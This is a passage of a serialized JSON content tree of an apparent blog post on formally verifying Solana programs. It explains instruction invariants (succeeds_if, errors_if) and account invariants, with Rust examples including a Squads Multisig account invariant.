",{"type":23,"tag":16596,"props":31265,"children":31266},{},[31267],{"type":29,"value":31268},"steal money",{"type":29,"value":31270}," via a swap program\"",{"type":23,"tag":2801,"props":31272,"children":31273},{},[31274,31276,31281],{"type":29,"value":31275},"\"A multisig should never get into a state where you ",{"type":23,"tag":16596,"props":31277,"children":31278},{},[31279],{"type":29,"value":31280},"can't sign anything",{"type":29,"value":31282},"\"",{"type":23,"tag":2801,"props":31284,"children":31285},{},[31286],{"type":29,"value":31287},"\"User funds in a staking protocol \"",{"type":23,"tag":32,"props":31289,"children":31290},{},[31291,31293,31303,31305,31310],{"type":29,"value":31292},"These are types of properties you can tell your ",{"type":23,"tag":940,"props":31294,"children":31297},{"href":31295,"rel":31296},"https://osec.io/",[944],[31298],{"type":23,"tag":9690,"props":31299,"children":31300},{},[31301],{"type":29,"value":31302},"human auditors",{"type":29,"value":31304}," but these English phrases are not particularly useful for ",{"type":23,"tag":9690,"props":31306,"children":31307},{},[31308],{"type":29,"value":31309},"automated verification techniques",{"type":29,"value":31311}," (at least until our AI overlords surpass human intelligence).",{"type":23,"tag":32,"props":31313,"children":31314},{},[31315,31317,31322,31324,31329],{"type":29,"value":31316},"Instead, we need to be able to specify ",{"type":23,"tag":9690,"props":31318,"children":31319},{},[31320],{"type":29,"value":31321},"in code",{"type":29,"value":31323}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":23,"tag":71,"props":31325,"children":31327},{"className":31326},[],[31328],{"type":29,"value":31206},{"type":29,"value":31330}," statement.",{"type":23,"tag":923,"props":31332,"children":31334},{"id":31333},"solana-invariants",[31335],{"type":29,"value":31336},"Solana Invariants",{"type":23,"tag":32,"props":31338,"children":31339},{},[31340,31342,31347,31348,31353],{"type":29,"value":31341},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":23,"tag":16596,"props":31343,"children":31344},{},[31345],{"type":29,"value":31346},"instruction invariants",{"type":29,"value":2721},{"type":23,"tag":16596,"props":31349,"children":31350},{},[31351],{"type":29,"value":31352},"account invariants",{"type":29,"value":557},{"type":23,"tag":30116,"props":31355,"children":31357},{"id":31356},"instruction-invariant",[31358],{"type":29,"value":31359},"Instruction Invariant",{"type":23,"tag":32,"props":31361,"children":31362},{},[31363,31365,31370,31372,31378,31379,31385],{"type":29,"value":31364},"An ",{"type":23,"tag":16596,"props":31366,"children":31367},{},[31368],{"type":29,"value":31369},"instruction invariant",{"type":29,"value":31371}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":23,"tag":71,"props":31373,"children":31375},{"className":31374},[],[31376],{"type":29,"value":31377},"succeeds_if",{"type":29,"value":24377},{"type":23,"tag":71,"props":31380,"children":31382},{"className":31381},[],[31383],{"type":29,"value":31384},"errors_if",{"type":29,"value":31386}," macro annotations on the instruction handler.",{"type":23,"tag":32,"props":31388,"children":31389},{},[31390],{"type":29,"value":31391},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":23,"tag":32,"props":31393,"children":31394},{},[31395,31397,31403,31405,31410],{"type":29,"value":31396},"For example, say we have a ",{"type":23,"tag":71,"props":31398,"children":31400},{"className":31399},[],[31401],{"type":29,"value":31402},"Withdraw",{"type":29,"value":31404}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":23,"tag":9690,"props":31406,"children":31407},{},[31408],{"type":29,"value":31409},"more",{"type":29,"value":31411}," tokens than their current balance.",{"type":23,"tag":32,"props":31413,"children":31414},{},[31415,31417,31422],{"type":29,"value":31416},"Using our tool, you could specify the following ",{"type":23,"tag":71,"props":31418,"children":31420},{"className":31419},[],[31421],{"type":29,"value":31384},{"type":29,"value":31423}," property on your instruction handler:",{"type":23,"tag":64,"props":31425,"children":31427},{"code":31426,"language":986,"meta":7,"className":987,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[31428],{"type":23,"tag":71,"props":31429,"children":31430},{"__ignoreMap":7},[31431,31439,31473,31481,31552,31559],{"type":23,"tag":75,"props":31432,"children":31433},{"class":77,"line":78},[31434],{"type":23,"tag":75,"props":31435,"children":31436},{"style":94},[31437],{"type":29,"value":31438},"#[errors_if(\n",{"type":23,"tag":75,"props":31440,"children":31441},{"class":77,"line":100},[31442,31446,31450,31455,31459,31464,31468],{"type":23,"tag":75,"props":31443,"children":31444},{"style":94},[31445],{"type":29,"value":2946},{"type":23,"tag":75,"props":31447,"children":31448},{"style":209},[31449],{"type":29,"value":557},{"type":23,"tag":75,"props":31451,"children":31452},{"style":94},[31453],{"type":29,"value":31454},"user",{"type":23,"tag":75,"props":31456,"children":31457},{"style":209},[31458],{"type":29,"value":557},{"type":23,"tag":75,"props":31460,"children":31461},{"style":94},[31462],{"type":29,"value":31463},"balance ",{"type":23,"tag":75,"props":31465,"children":31466},{"style":209},[31467],{"type":29,"value":295},{"type":23,"tag":75,"props":31469,"children":31470},{"style":94},[31471],{"type":29,"value":31472}," amount\n",{"type":23,"tag":75,"props":31474,"children":31475},{"class":77,"line":121},[31476],{"type":23,"tag":75,"props":31477,"children":31478},{"style":94},[31479],{"type":29,"value":31480},")]\n",{"type":23,"tag":75,"props":31482,"children":31483},{"class":77,"line":138},[31484,31488,31493,31497,31501,31505,31510,31514,31518,31522,31527,31531,31535,31539,31543,31547],{"type":23,"tag":75,"props":31485,"children":31486},{"style":82},[31487],{"type":29,"value":999},{"type":23,"tag":75,"props":31489,"children":31490},{"style":88},[31491],{"type":29,"value":31492}," withdraw",{"type":23,"tag":75,"props":31494,"children":31495},{"style":94},[31496],{"type":29,"value":643},{"type":23,"tag":75,"props":31498,"children":31499},{"style":110},[31500],{"type":29,"value":3331},{"type":23,"tag":75,"props":31502,"children":31503},{"style":209},[31504],{"type":29,"value":1018},{"type":23,"tag":75,"props":31506,"children":31507},{"style":104},[31508],{"type":29,"value":31509}," Context",{"type":23,"tag":75,"props":31511,"children":31512},{"style":94},[31513],{"type":29,"value":295},{"type":23,"tag":75,"props":31515,"children":31516},{"style":104},[31517],{"type":29,"value":31402},{"type":23,"tag":75,"props":31519,"children":31520},{"style":94},[31521],{"type":29,"value":17895},{"type":23,"tag":75,"props":31523,"children":31524},{"style":110},[31525],{"type":29,"value":31526},"amount",{"type":23,"tag":75,"props":31528,"children":31529},{"style":209},[31530],{"type":29,"value":1018},{"type":23,"tag":75,"props":31532,"children":31533},{"style":104},[31534],{"type":29,"value":17129},{"type":23,"tag":75,"props":31536,"children":31537},{"style":94},[31538],{"type":29,"value":167},{"type":23,"tag":75,"props":31540,"children":31541},{"style":209},[31542],{"type":29,"value":1156},{"type":23,"tag":75,"props":31544,"children":31545},{"style":104},[31546],{"type":29,"value":25004},{"type":23,"tag":75,"props":31548,"children":31549},{"style":94},[31550],{"type":29,"value":31551},"\u003C()> {\n",{"type":23,"tag":75,"props":31553,"children":31554},{"class":77,"line":161},[31555],{"type":23,"tag":75,"props":31556,"children":31557},{"style":209},[31558],{"type":29,"value":6478},{"type":23,"tag":75,"props":31560,"children":31561},{"class":77,"line":196},[31562],{"type":23,"tag":75,"props":31563,"children":31564},{"style":94},[31565],{"type":29,"value":369},{"type":23,"tag":1829,"props":31567,"children":31568},{},[31569],{"type":23,"tag":32,"props":31570,"children":31571},{},[31572,31573,31578,31580,31585,31587,31592],{"type":29,"value":2846},{"type":23,"tag":71,"props":31574,"children":31576},{"className":31575},[],[31577],{"type":29,"value":31384},{"type":29,"value":31579}," expression specifies ",{"type":23,"tag":9690,"props":31581,"children":31582},{},[31583],{"type":29,"value":31584},"succifient",{"type":29,"value":31586}," but not ",{"type":23,"tag":9690,"props":31588,"children":31589},{},[31590],{"type":29,"value":31591},"necessary",{"type":29,"value":31593}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":23,"tag":30016,"props":31595,"children":31596},{},[],{"type":23,"tag":32,"props":31598,"children":31599},{},[31600,31602,31607],{"type":29,"value":31601},"Another example is that for ",{"type":23,"tag":9690,"props":31603,"children":31604},{},[31605],{"type":29,"value":31606},"crank",{"type":29,"value":31608}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":23,"tag":64,"props":31610,"children":31612},{"code":31611,"language":986,"meta":7,"className":987,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[31613],{"type":23,"tag":71,"props":31614,"children":31615},{"__ignoreMap":7},[31616,31624,31678,31685],{"type":23,"tag":75,"props":31617,"children":31618},{"class":77,"line":78},[31619],{"type":23,"tag":75,"props":31620,"children":31621},{"style":94},[31622],{"type":29,"value":31623},"#[succeeds_if(true)]\n",{"type":23,"tag":75,"props":31625,"children":31626},{"class":77,"line":100},[31627,31631,31636,31640,31644,31648,31652,31656,31661,31666,31670,31674],{"type":23,"tag":75,"props":31628,"children":31629},{"style":82},[31630],{"type":29,"value":999},{"type":23,"tag":75,"props":31632,"children":31633},{"style":88},[31634],{"type":29,"value":31635}," my_crank",{"type":23,"tag":75,"props":31637,"children":31638},{"style":94},[31639],{"type":29,"value":643},{"type":23,"tag":75,"props":31641,"children":31642},{"style":110},[31643],{"type":29,"value":3331},{"type":23,"tag":75,"props":31645,"children":31646},{"style":209},[31647],{"type":29,"value":1018},{"type":23,"tag":75,"props":31649,"children":31650},{"style":104},[31651],{"type":29,"value":31509},{"type":23,"tag":75,"props":31653,"children":31654},{"style":94},[31655],{"type":29,"value":295},{"type":23,"tag":75,"props":31657,"children":31658},{"style":104},[31659],{"type":29,"value":31660},"Crank",{"type":23,"tag":75,"props":31662,"children":31663},{"style":94},[31664],{"type":29,"value":31665},">) ",{"type":23,"tag":75,"props":31667,"children":31668},{"style":209},[31669],{"type":29,"value":1156},{"type":23,"tag":75,"props":31671,"children":31672},{"style":104},[31673],{"type":29,"value":25004},{"type":23,"tag":75,"props":31675,"children":31676},{"style":94},[31677],{"type":29,"value":31551},{"type":23,"tag":75,"props":31679,"children":31680},{"class":77,"line":121},[31681],{"type":23,"tag":75,"props":31682,"children":31683},{"style":209},[31684],{"type":29,"value":6478},{"type":23,"tag":75,"props":31686,"children":31687},{"class":77,"line":138},[31688],{"type":23,"tag":75,"props":31689,"children":31690},{"style":94},[31691],{"type":29,"value":369},{"type":23,"tag":32,"props":31693,"children":31694},{},[31695,31697,31701,31703,31709],{"type":29,"value":31696},"With this invariant, you could prove that the function ",{"type":23,"tag":9690,"props":31698,"children":31699},{},[31700],{"type":29,"value":24337},{"type":29,"value":31702}," returns ",{"type":23,"tag":71,"props":31704,"children":31706},{"className":31705},[],[31707],{"type":29,"value":31708},"Ok",{"type":29,"value":31710},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":23,"tag":30016,"props":31712,"children":31713},{},[],{"type":23,"tag":32,"props":31715,"children":31716},{},[31717,31719,31724,31725,31730,31732,31737,31739,31744,31746,31751],{"type":29,"value":31718},"Note that ",{"type":23,"tag":71,"props":31720,"children":31722},{"className":31721},[],[31723],{"type":29,"value":31377},{"type":29,"value":2721},{"type":23,"tag":71,"props":31726,"children":31728},{"className":31727},[],[31729],{"type":29,"value":31384},{"type":29,"value":31731}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":23,"tag":71,"props":31733,"children":31735},{"className":31734},[],[31736],{"type":29,"value":31377},{"type":29,"value":31738}," is not satisfied and a function may fail even if ",{"type":23,"tag":71,"props":31740,"children":31742},{"className":31741},[],[31743],{"type":29,"value":31384},{"type":29,"value":31745}," is not satisfied. If you want to prove the ",{"type":23,"tag":9690,"props":31747,"children":31748},{},[31749],{"type":29,"value":31750},"exact condition",{"type":29,"value":31752}," required for an instruction to succeed, you could use a form like the following:",{"type":23,"tag":64,"props":31754,"children":31756},{"code":31755,"language":986,"meta":7,"className":987,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[31757],{"type":23,"tag":71,"props":31758,"children":31759},{"__ignoreMap":7},[31760,31804,31811,31828,31853,31905,31912],{"type":23,"tag":75,"props":31761,"children":31762},{"class":77,"line":78},[31763,31767,31772,31776,31780,31784,31788,31792,31796,31800],{"type":23,"tag":75,"props":31764,"children":31765},{"style":82},[31766],{"type":29,"value":999},{"type":23,"tag":75,"props":31768,"children":31769},{"style":88},[31770],{"type":29,"value":31771}," my_invariant",{"type":23,"tag":75,"props":31773,"children":31774},{"style":94},[31775],{"type":29,"value":643},{"type":23,"tag":75,"props":31777,"children":31778},{"style":209},[31779],{"type":29,"value":9174},{"type":23,"tag":75,"props":31781,"children":31782},{"style":94},[31783],{"type":29,"value":167},{"type":23,"tag":75,"props":31785,"children":31786},{"style":209},[31787],{"type":29,"value":1156},{"type":23,"tag":75,"props":31789,"children":31790},{"style":104},[31791],{"type":29,"value":3001},{"type":23,"tag":75,"props":31793,"children":31794},{"style":94},[31795],{"type":29,"value":20837},{"type":23,"tag":75,"props":31797,"children":31798},{"style":209},[31799],{"type":29,"value":9174},{"type":23,"tag":75,"props":31801,"children":31802},{"style":94},[31803],{"type":29,"value":7477},{"type":23,"tag":75,"props":31805,"children":31806},{"class":77,"line":100},[31807],{"type":23,"tag":75,"props":31808,"children":31809},{"emptyLinePlaceholder":15},[31810],{"type":29,"value":276},{"type":23,"tag":75,"props":31812,"children":31813},{"class":77,"line":121},[31814,31819,31823],{"type":23,"tag":75,"props":31815,"children":31816},{"style":94},[31817],{"type":29,"value":31818},"#[succeeds_if(my_invariant(",{"type":23,"tag":75,"props":31820,"children":31821},{"style":209},[31822],{"type":29,"value":9174},{"type":23,"tag":75,"props":31824,"children":31825},{"style":94},[31826],{"type":29,"value":31827},"))]\n",{"type":23,"tag":75,"props":31829,"children":31830},{"class":77,"line":138},[31831,31836,31840,31845,31849],{"type":23,"tag":75,"props":31832,"children":31833},{"style":94},[31834],{"type":29,"value":31835},"#[errors_if(",{"type":23,"tag":75,"props":31837,"children":31838},{"style":209},[31839],{"type":29,"value":13434},{"type":23,"tag":75,"props":31841,"children":31842},{"style":94},[31843],{"type":29,"value":31844},"my_invariant(",{"type":23,"tag":75,"props":31846,"children":31847},{"style":209},[31848],{"type":29,"value":9174},{"type":23,"tag":75,"props":31850,"children":31851},{"style":94},[31852],{"type":29,"value":31827},{"type":23,"tag":75,"props":31854,"children":31855},{"class":77,"line":161},[31856,31860,31865,31869,31873,31877,31881,31885,31889,31893,31897,31901],{"type":23,"tag":75,"props":31857,"children":31858},{"style":82},[31859],{"type":29,"value":999},{"type":23,"tag":75,"props":31861,"children":31862},{"style":88},[31863],{"type":29,"value":31864}," my_instruction",{"type":23,"tag":75,"props":31866,"children":31867},{"style":94},[31868],{"type":29,"value":643},{"type":23,"tag":75,"props":31870,"children":31871},{"style":110},[31872],{"type":29,"value":3331},{"type":23,"tag":75,"props":31874,"children":31875},{"style":209},[31876],{"type":29,"value":1018},{"type":23,"tag":75,"props":31878,"children":31879},{"style":104},[31880],{"type":29,"value":31509},{"type":23,"tag":75,"props":31882,"children":31883},{"style":94},[31884],{"type":29,"value":295},{"type":23,"tag":75,"props":31886,"children":31887},{"style":209},[31888],{"type":29,"value":9174},{"type":23,"tag":75,"props":31890,"children":31891},{"style":94},[31892],{"type":29,"value":31665},{"type":23,"tag":75,"props":31894,"children":31895},{"style":209},[31896],{"type":29,"value":1156},{"type":23,"tag":75,"props":31898,"children":31899},{"style":104},[31900],{"type":29,"value":25004},{"type":23,"tag":75,"props":31902,"children":31903},{"style":94},[31904],{"type":29,"value":31551},{"type":23,"tag":75,"props":31906,"children":31907},{"class":77,"line":196},[31908],{"type":23,"tag":75,"props":31909,"children":31910},{"style":209},[31911],{"type":29,"value":6478},{"type":23,"tag":75,"props":31913,"children":31914},{"class":77,"line":220},[31915],{"type":23,"tag":75,"props":31916,"children":31917},{"style":94},[31918],{"type":29,"value":369},{"type":23,"tag":32,"props":31920,"children":31921},{},[31922],{"type":29,"value":31923},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":23,"tag":30116,"props":31925,"children":31927},{"id":31926},"account-invariants",[31928],{"type":29,"value":31929},"Account Invariants",{"type":23,"tag":32,"props":31931,"children":31932},{},[31933,31935,31940],{"type":29,"value":31934},"The other type of invariant is an ",{"type":23,"tag":16596,"props":31936,"children":31937},{},[31938],{"type":29,"value":31939},"Account Invariant",{"type":29,"value":31941},". This invariant describes some property of an account that should always hold.",{"type":23,"tag":32,"props":31943,"children":31944},{},[31945,31947,31952,31953,31959],{"type":29,"value":31946},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":23,"tag":71,"props":31948,"children":31950},{"className":31949},[],[31951],{"type":29,"value":14998},{"type":29,"value":24377},{"type":23,"tag":71,"props":31954,"children":31956},{"className":31955},[],[31957],{"type":29,"value":31958},"init",{"type":29,"value":31960},").",{"type":23,"tag":32,"props":31962,"children":31963},{},[31964,31966,31972],{"type":29,"value":31965},"For example, given a mock ",{"type":23,"tag":71,"props":31967,"children":31969},{"className":31968},[],[31970],{"type":29,"value":31971},"UserStatement",{"type":29,"value":31973}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":23,"tag":64,"props":31975,"children":31977},{"code":31976,"language":986,"meta":7,"className":987,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[31978],{"type":23,"tag":71,"props":31979,"children":31980},{"__ignoreMap":7},[31981,31989,31997,32031,32038,32054,32080,32104,32128],{"type":23,"tag":75,"props":31982,"children":31983},{"class":77,"line":78},[31984],{"type":23,"tag":75,"props":31985,"children":31986},{"style":94},[31987],{"type":29,"value":31988},"#[account]\n",{"type":23,"tag":75,"props":31990,"children":31991},{"class":77,"line":100},[31992],{"type":23,"tag":75,"props":31993,"children":31994},{"style":94},[31995],{"type":29,"value":31996},"#[invariant(\n",{"type":23,"tag":75,"props":31998,"children":31999},{"class":77,"line":121},[32000,32005,32009,32014,32018,32022,32026],{"type":23,"tag":75,"props":32001,"children":32002},{"style":94},[32003],{"type":29,"value":32004},"    self",{"type":23,"tag":75,"props":32006,"children":32007},{"style":209},[32008],{"type":29,"value":557},{"type":23,"tag":75,"props":32010,"children":32011},{"style":94},[32012],{"type":29,"value":32013},"assets ",{"type":23,"tag":75,"props":32015,"children":32016},{"style":209},[32017],{"type":29,"value":21191},{"type":23,"tag":75,"props":32019,"children":32020},{"style":94},[32021],{"type":29,"value":25039},{"type":23,"tag":75,"props":32023,"children":32024},{"style":209},[32025],{"type":29,"value":557},{"type":23,"tag":75,"props":32027,"children":32028},{"style":94},[32029],{"type":29,"value":32030},"liabilities\n",{"type":23,"tag":75,"props":32032,"children":32033},{"class":77,"line":138},[32034],{"type":23,"tag":75,"props":32035,"children":32036},{"style":94},[32037],{"type":29,"value":31480},{"type":23,"tag":75,"props":32039,"children":32040},{"class":77,"line":161},[32041,32045,32050],{"type":23,"tag":75,"props":32042,"children":32043},{"style":82},[32044],{"type":29,"value":20652},{"type":23,"tag":75,"props":32046,"children":32047},{"style":104},[32048],{"type":29,"value":32049}," UserStatement",{"type":23,"tag":75,"props":32051,"children":32052},{"style":94},[32053],{"type":29,"value":401},{"type":23,"tag":75,"props":32055,"children":32056},{"class":77,"line":196},[32057,32062,32067,32071,32076],{"type":23,"tag":75,"props":32058,"children":32059},{"style":82},[32060],{"type":29,"value":32061},"    pub",{"type":23,"tag":75,"props":32063,"children":32064},{"style":110},[32065],{"type":29,"value":32066}," owner",{"type":23,"tag":75,"props":32068,"children":32069},{"style":209},[32070],{"type":29,"value":1018},{"type":23,"tag":75,"props":32072,"children":32073},{"style":104},[32074],{"type":29,"value":32075}," Pubkey",{"type":23,"tag":75,"props":32077,"children":32078},{"style":94},[32079],{"type":29,"value":118},{"type":23,"tag":75,"props":32081,"children":32082},{"class":77,"line":220},[32083,32087,32092,32096,32100],{"type":23,"tag":75,"props":32084,"children":32085},{"style":82},[32086],{"type":29,"value":32061},{"type":23,"tag":75,"props":32088,"children":32089},{"style":110},[32090],{"type":29,"value":32091}," assets",{"type":23,"tag":75,"props":32093,"children":32094},{"style":209},[32095],{"type":29,"value":1018},{"type":23,"tag":75,"props":32097,"children":32098},{"style":104},[32099],{"type":29,"value":17129},{"type":23,"tag":75,"props":32101,"children":32102},{"style":94},[32103],{"type":29,"value":118},{"type":23,"tag":75,"props":32105,"children":32106},{"class":77,"line":248},[32107,32111,32116,32120,32124],{"type":23,"tag":75,"props":32108,"children":32109},{"style":82},[32110],{"type":29,"value":32061},{"type":23,"tag":75,"props":32112,"children":32113},{"style":110},[32114],{"type":29,"value":32115}," liabilities",{"type":23,"tag":75,"props":32117,"children":32118},{"style":209},[32119],{"type":29,"value":1018},{"type":23,"tag":75,"props":32121,"children":32122},{"style":104},[32123],{"type":29,"value":17129},{"type":23,"tag":75,"props":32125,"children":32126},{"style":94},[32127],{"type":29,"value":118},{"type":23,"tag":75,"props":32129,"children":32130},{"class":77,"line":270},[32131],{"type":23,"tag":75,"props":32132,"children":32133},{"style":94},[32134],{"type":29,"value":369},{"type":23,"tag":32,"props":32136,"children":32137},{},[32138,32140,32145],{"type":29,"value":32139},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":23,"tag":71,"props":32141,"children":32143},{"className":32142},[],[32144],{"type":29,"value":31971},{"type":29,"value":32146}," is created or modified.",{"type":23,"tag":32,"props":32148,"children":32149},{},[32150,32152,32158],{"type":29,"value":32151},"In another example, we developed the following invariant for the ",{"type":23,"tag":940,"props":32153,"children":32155},{"href":30047,"rel":32154},[944],[32156],{"type":29,"value":32157},"Squads Multisig",{"type":29,"value":32159}," wallet account:",{"type":23,"tag":64,"props":32161,"children":32163},{"code":32162,"language":986,"meta":7,"className":987,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[32164],{"type":23,"tag":71,"props":32165,"children":32166},{"__ignoreMap":7},[32167,32174,32181,32210,32269,32298,32350,32357,32377,32407,32437,32467,32496,32526,32556,32585,32624],{"type":23,"tag":75,"props":32168,"children":32169},{"class":77,"line":78},[32170],{"type":23,"tag":75,"props":32171,"children":32172},{"style":94},[32173],{"type":29,"value":31988},{"type":23,"tag":75,"props":32175,"children":32176},{"class":77,"line":100},[32177],{"type":23,"tag":75,"props":32178,"children":32179},{"style":94},[32180],{"type":29,"value":31996},{"type":23,"tag":75,"props":32182,"children":32183},{"class":77,"line":121},[32184,32189,32193,32197,32201,32205],{"type":23,"tag":75,"props":32185,"children":32186},{"style":209},[32187],{"type":29,"value":32188},"    !",{"type":23,"tag":75,"props":32190,"children":32191},{"style":94},[32192],{"type":29,"value":24956},{"type":23,"tag":75,"props":32194,"children":32195},{"style":209},[32196],{"type":29,"value":557},{"type":23,"tag":75,"props":32198,"children":32199},{"style":94},[32200],{"type":29,"value":1995},{"type":23,"tag":75,"props":32202,"children":32203},{"style":209},[32204],{"type":29,"value":557},{"type":23,"tag":75,"props":32206,"children":32207},{"style":94},[32208],{"type":29,"value":32209},"is_empty()\n",{"type":23,"tag":75,"props":32211,"children":32212},{"class":77,"line":138},[32213,32217,32222,32226,32230,32234,32239,32243,32248,32252,32257,32261,32265],{"type":23,"tag":75,"props":32214,"children":32215},{"style":209},[32216],{"type":29,"value":26849},{"type":23,"tag":75,"props":32218,"children":32219},{"style":94},[32220],{"type":29,"value":32221}," (self",{"type":23,"tag":75,"props":32223,"children":32224},{"style":209},[32225],{"type":29,"value":557},{"type":23,"tag":75,"props":32227,"children":32228},{"style":94},[32229],{"type":29,"value":1995},{"type":23,"tag":75,"props":32231,"children":32232},{"style":209},[32233],{"type":29,"value":557},{"type":23,"tag":75,"props":32235,"children":32236},{"style":94},[32237],{"type":29,"value":32238},"len() ",{"type":23,"tag":75,"props":32240,"children":32241},{"style":209},[32242],{"type":29,"value":30637},{"type":23,"tag":75,"props":32244,"children":32245},{"style":104},[32246],{"type":29,"value":32247}," u16",{"type":23,"tag":75,"props":32249,"children":32250},{"style":209},[32251],{"type":29,"value":1407},{"type":23,"tag":75,"props":32253,"children":32254},{"style":104},[32255],{"type":29,"value":32256},"MAX",{"type":23,"tag":75,"props":32258,"children":32259},{"style":82},[32260],{"type":29,"value":20083},{"type":23,"tag":75,"props":32262,"children":32263},{"style":104},[32264],{"type":29,"value":24974},{"type":23,"tag":75,"props":32266,"children":32267},{"style":94},[32268],{"type":29,"value":653},{"type":23,"tag":75,"props":32270,"children":32271},{"class":77,"line":161},[32272,32276,32280,32284,32289,32293],{"type":23,"tag":75,"props":32273,"children":32274},{"style":209},[32275],{"type":29,"value":26849},{"type":23,"tag":75,"props":32277,"children":32278},{"style":94},[32279],{"type":29,"value":32221},{"type":23,"tag":75,"props":32281,"children":32282},{"style":209},[32283],{"type":29,"value":557},{"type":23,"tag":75,"props":32285,"children":32286},{"style":94},[32287],{"type":29,"value":32288},"threshold ",{"type":23,"tag":75,"props":32290,"children":32291},{"style":209},[32292],{"type":29,"value":21191},{"type":23,"tag":75,"props":32294,"children":32295},{"style":94},[32296],{"type":29,"value":32297}," 1)\n",{"type":23,"tag":75,"props":32299,"children":32300},{"class":77,"line":196},[32301,32305,32309,32313,32317,32321,32325,32329,32333,32337,32341,32345],{"type":23,"tag":75,"props":32302,"children":32303},{"style":209},[32304],{"type":29,"value":26849},{"type":23,"tag":75,"props":32306,"children":32307},{"style":94},[32308],{"type":29,"value":32221},{"type":23,"tag":75,"props":32310,"children":32311},{"style":209},[32312],{"type":29,"value":557},{"type":23,"tag":75,"props":32314,"children":32315},{"style":94},[32316],{"type":29,"value":32288},{"type":23,"tag":75,"props":32318,"children":32319},{"style":82},[32320],{"type":29,"value":20097},{"type":23,"tag":75,"props":32322,"children":32323},{"style":104},[32324],{"type":29,"value":24974},{"type":23,"tag":75,"props":32326,"children":32327},{"style":209},[32328],{"type":29,"value":19456},{"type":23,"tag":75,"props":32330,"children":32331},{"style":94},[32332],{"type":29,"value":25039},{"type":23,"tag":75,"props":32334,"children":32335},{"style":209},[32336],{"type":29,"value":557},{"type":23,"tag":75,"props":32338,"children":32339},{"style":94},[32340],{"type":29,"value":1995},{"type":23,"tag":75,"props":32342,"children":32343},{"style":209},[32344],{"type":29,"value":557},{"type":23,"tag":75,"props":32346,"children":32347},{"style":94},[32348],{"type":29,"value":32349},"len())\n",{"type":23,"tag":75,"props":32351,"children":32352},{"class":77,"line":220},[32353],{"type":23,"tag":75,"props":32354,"children":32355},{"style":94},[32356],{"type":29,"value":31480},{"type":23,"tag":75,"props":32358,"children":32359},{"class":77,"line":248},[32360,32364,32368,32373],{"type":23,"tag":75,"props":32361,"children":32362},{"style":82},[32363],{"type":29,"value":24933},{"type":23,"tag":75,"props":32365,"children":32366},{"style":82},[32367],{"type":29,"value":396},{"type":23,"tag":75,"props":32369,"children":32370},{"style":104},[32371],{"type":29,"value":32372}," Ms",{"type":23,"tag":75,"props":32374,"children":32375},{"style":94},[32376],{"type":29,"value":401},{"type":23,"tag":75,"props":32378,"children":32379},{"class":77,"line":270},[32380,32384,32389,32393,32397,32402],{"type":23,"tag":75,"props":32381,"children":32382},{"style":82},[32383],{"type":29,"value":32061},{"type":23,"tag":75,"props":32385,"children":32386},{"style":110},[32387],{"type":29,"value":32388}," threshold",{"type":23,"tag":75,"props":32390,"children":32391},{"style":209},[32392],{"type":29,"value":1018},{"type":23,"tag":75,"props":32394,"children":32395},{"style":104},[32396],{"type":29,"value":32247},{"type":23,"tag":75,"props":32398,"children":32399},{"style":94},[32400],{"type":29,"value":32401},",               ",{"type":23,"tag":75,"props":32403,"children":32404},{"style":3621},[32405],{"type":29,"value":32406},"// threshold for signatures\n",{"type":23,"tag":75,"props":32408,"children":32409},{"class":77,"line":279},[32410,32414,32419,32423,32427,32432],{"type":23,"tag":75,"props":32411,"children":32412},{"style":82},[32413],{"type":29,"value":32061},{"type":23,"tag":75,"props":32415,"children":32416},{"style":110},[32417],{"type":29,"value":32418}," authority_index",{"type":23,"tag":75,"props":32420,"children":32421},{"style":209},[32422],{"type":29,"value":1018},{"type":23,"tag":75,"props":32424,"children":32425},{"style":104},[32426],{"type":29,"value":32247},{"type":23,"tag":75,"props":32428,"children":32429},{"style":94},[32430],{"type":29,"value":32431},",         ",{"type":23,"tag":75,"props":32433,"children":32434},{"style":3621},[32435],{"type":29,"value":32436},"// index to seed other authorities under this multisig\n",{"type":23,"tag":75,"props":32438,"children":32439},{"class":77,"line":303},[32440,32444,32449,32453,32457,32462],{"type":23,"tag":75,"props":32441,"children":32442},{"style":82},[32443],{"type":29,"value":32061},{"type":23,"tag":75,"props":32445,"children":32446},{"style":110},[32447],{"type":29,"value":32448}," 